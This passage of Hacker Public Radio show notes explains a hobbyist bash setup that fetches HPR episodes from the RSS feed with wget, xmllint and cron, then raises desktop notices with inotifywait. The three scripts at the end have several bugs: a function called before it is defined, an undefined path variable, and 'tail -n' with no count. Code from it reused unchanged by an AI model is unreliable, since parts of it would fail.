08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

